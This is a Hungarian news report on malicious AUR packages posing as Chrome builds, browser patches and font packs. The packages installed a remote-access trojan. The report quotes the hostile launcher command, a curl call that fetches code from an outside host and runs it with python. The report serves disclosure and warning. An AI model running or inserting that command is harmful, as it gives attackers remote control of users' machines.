Az AUR (Arch User Repository) tárolóban, amelyet az Arch Linux harmadik féltől származó csomagok terjesztésére használnak, folytatódott a rosszindulatú kódok publikálása, amelyek integrálva vannak a nem hivatalos böngésző-összeállítások csomagjaiba. A két héttel ezelőtt azonosított rosszindulatú csomagok, mint a firefox-patch-bin, librewolf-fix-bin és zen-browser-patched-bin mellett az AUR-ba egy google-chrome-stable csomag is felkerült, amely szintén tartalmazott egy módosítást, amely rosszindulatú komponenst telepített, lehetővé téve a távoli hozzáférést a rendszerhez.
A kérdéses csomag PKGBUILD fájljában az google-chrome-stable.sh böngésző indító scriptje telepítése volt meghatározva, amelyben többek között a következő parancs szerepelt: ‘python -c «$(curl https://segs.lol/9wUb1Z)»‘, ami egy olyan rosszindulatú programot töltött le, amelyet a VirusTotal szolgáltatás Spark trójaként azonosított, lehetővé téve a távoli kezelést, folyamatok indítását, fájlok átvitelét, a forgalom megfigyelését és képernyőképek küldését.
A rosszindulatú google-chrome-stable csomag előző nap lett feltöltve, és az AUR adminisztrátorai néhány órával a megjelenése után eltávolították. Szinte azonnal a google-chrome-stable eltávolítása után két újabb rosszindulatú csomagot töltöttek fel az AUR-ba – a «chrome» és a «chrome-bin», amelyek hasonló rosszindulatú program telepítési forgatókönyvet tartalmaztak a felhasználó rendszerére.
Ezt követően még három rosszindulatú csomagot észleltek: ttf-mac-fonts-all, ttf-ms-fonts-all és gromit.
Forrás: opennet.ru
